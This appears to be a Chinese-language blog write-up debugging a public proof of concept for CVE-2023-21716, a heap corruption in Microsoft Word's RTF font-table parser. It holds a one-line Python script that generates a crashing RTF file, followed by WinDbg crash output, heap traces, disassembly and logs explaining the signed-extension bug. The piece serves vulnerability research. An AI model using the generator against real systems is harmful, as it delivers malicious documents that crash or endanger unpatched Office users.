前言
@jduck 近日公开了CVE-2023-21716的POC,并提供了漏洞细节 。
这篇文章主要是记录下我调试这个漏洞POC的过程。
POC样本
生成POC的只需要很短的代码:
1
|
open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
|
打开样本内容,看上去是这样的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
{\rtf1{
{\fonttbl{\f0A;}
{\f1A;}
{\f2A;}
{\f3A;}
{\f4A;}
{\f5A;}
{\f6A;}
[...] 省略很多行
{\f32753A;}
{\f32754A;}
{\f32755A;}
{\f32756A;}
{\f32757A;}
{\f32758A;}
{\f32759A;}
{\f32760A;}
}
{\rtlch no crash??}
}}
|
简单回顾下RTF文件格式的知识:
\rtf1
, \fonttbl
这样的语句叫控制字 (control word),以反斜杠开始后面加上多个字母作为控制字名,字母后面还可能接可选的数字作为控制字参数
- 以反斜杠开始后面接单个非字母字符的表示控制符号 (control symbol),比如
\~
{}
包含控制字、控制符号、文本等形成组(group)
样本中对应控制字的意思:
\fN |
字体表中的编号 |
\rtfN |
N表示RTF大版本 |
\fonttbl |
字体表 |
漏洞分析
测试环境:
- Microsoft Office 2016 16.0.4266.1003 32位
- wwlib.dll 16.0.4266.1003
开启页堆
1
|
gflags.exe /p /enable winword.exe /full
|
根据喜好attach调试,或者直接在windbg里面运行程序:
crash现场:
1
2
3
4
5
6
7
8
|
(7ac.1a80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=006f2734 ebx=00000001 ecx=000004e4 edx=ffff7ffc esi=54b75ff0 edi=00008002
eip=0fe700d5 esp=006f268c ebp=006f2698 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
wwlib!PTLS7::FsUpdateFinitePage+0x7635a:
0fe700d5 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:54b65fec=????
|
崩溃原因是写到了已经释放的堆块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
0:000> !heap -p -a 54b65fec
address 54b65fec found in
_DPH_HEAP_ROOT @ 5af1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
54973b60: 54b65000 2000
72a3ad92 verifier!AVrfDebugPageHeapFree+0x000000c2
7708b5e9 ntdll!RtlDebugFreeHeap+0x0000003e
77033422 ntdll!RtlpFreeHeap+0x0004dfc2
76fe50c1 ntdll!RtlFreeHeap+0x00000201
763785d5 msvcrt!free+0x00000065
6b967549 DWrite!ComObject<DWriteTextLayout,DeleteOnZeroReference>::Release+0x000000d9
6e203576 mso40uiwin32client!Ordinal432+0x00000098
[...]
0:000> !heap -p -a esi
address 54b75ff0 found in
_DPH_HEAP_ROOT @ 2f81000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
54c708bc: 54b75ff0 30010 - 54b75000 32000
72a3ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
72a3b004 verifier!AVrfDebugPageHeapReAllocate+0x00000214
7708bac9 ntdll!RtlDebugReAllocateHeap+0x0000003c
|
关键位置代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
.text:102F00A8 mov [esi+eax*2+4], cx
.text:102F00AD movsx eax, word ptr [esi+2]
.text:102F00B1 movsx ecx, word ptr [esi]
.text:102F00B4 add ecx, eax
.text:102F00B6 mov eax, [ebp+arg_8]
.text:102F00B9 mov ax, [eax]
.text:102F00BC mov [esi+ecx*2+4], ax
.text:102F00C1 mov eax, [ebp+codepage_]
.text:102F00C4 test eax, eax
.text:102F00C6 jz short loc_102F00DA
.text:102F00C8 movsx ecx, word ptr [esi]
.text:102F00CB movsx edx, word ptr [esi+2]
.text:102F00CF lea edx, [ecx+edx*2] ; 下面打印ecx和edx日志的地方
.text:102F00D2 mov cx, [eax]
.text:102F00D5 mov [esi+edx*2+4], cx ; 溢出点
.text:102F00DA inc word ptr [esi]
.text:102F00DD jmp short loc_102F0082
|
在 wwlib+0x002f00cf 处打印断点日志:
1
2
|
sxe ld:wwlib
bu wwlib+002f00cf ".printf \"=== ecx: 0x%x(%d) edx: 0x%x(%d) \\n\", ecx, ecx, edx, edx;gc"
|
可以观察到规律:
- ecx每次递增1
- 当且仅当ecx等于edx时,edx增加10,其余时间不变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
=== ecx: 0x0(0) edx: 0xa(10)
=== ecx: 0x1(1) edx: 0xa(10)
=== ecx: 0x2(2) edx: 0xa(10)
=== ecx: 0x3(3) edx: 0xa(10)
=== ecx: 0x4(4) edx: 0xa(10)
=== ecx: 0x5(5) edx: 0xa(10)
=== ecx: 0x6(6) edx: 0xa(10)
=== ecx: 0x7(7) edx: 0xa(10)
=== ecx: 0x8(8) edx: 0xa(10)
=== ecx: 0x9(9) edx: 0xa(10)
=== ecx: 0xa(10) edx: 0x14(20) // 每隔10次,edx+=10
=== ecx: 0xb(11) edx: 0x14(20)
[...]
=== ecx: 0xd0b(3339) edx: 0xd0c(3340)
=== ecx: 0xd0c(3340) edx: 0xd16(3350) // 每隔10次,edx+=10
=== ecx: 0xd0d(3341) edx: 0xd16(3350)
=== ecx: 0xd0e(3342) edx: 0xd16(3350)
=== ecx: 0xd0f(3343) edx: 0xd16(3350)
=== ecx: 0xd10(3344) edx: 0xd16(3350)
=== ecx: 0xd11(3345) edx: 0xd16(3350)
=== ecx: 0xd12(3346) edx: 0xd16(3350)
=== ecx: 0xd13(3347) edx: 0xd16(3350)
=== ecx: 0xd14(3348) edx: 0xd16(3350)
=== ecx: 0xd15(3349) edx: 0xd16(3350)
=== ecx: 0xd16(3350) edx: 0xd20(3360) // 每隔10次,edx+=10
=== ecx: 0xd17(3351) edx: 0xd20(3360)
[...]
=== ecx: 0x7ff8(32760) edx: 0x8002(32770)
(crash)
|
通过测试包含不同数量\f的样本,发现wwlib+0x002f00cf 触发次数和\f数量一致,且ecx与控制字参数无关,单纯代表索引一直递增
随着索引值增大,由于使用了movsx,当[esi+2]的值达到0x8000时,会进行有符号扩展,edx的高位会被扩展成FFFF,导致了后面在102F00D5处写入时使用了负的偏移值,造成堆溢出。
1
2
3
4
5
|
.text:102F00C8 movsx ecx, word ptr [esi]
.text:102F00CB movsx edx, word ptr [esi+2]
.text:102F00CF lea edx, [ecx+edx*2] ; 上面打印ecx和edx日志的地方
.text:102F00D2 mov cx, [eax]
.text:102F00D5 mov [esi+edx*2+4], cx ; 溢出点,crash时edx=ffff7ffc
|
观察最后一次打印的ecx和edx,可以发现二者相差10,结合前面的规律可以看出此时edx第一次被扩展成负数,而这时候ecx等于32760,所以python脚本中的 32761是触发漏洞的最小值,range(0, 32761)生成了32761组\f
1
|
=== ecx: 0x7ff8(32760) edx: 0x8002(32770)
|
参考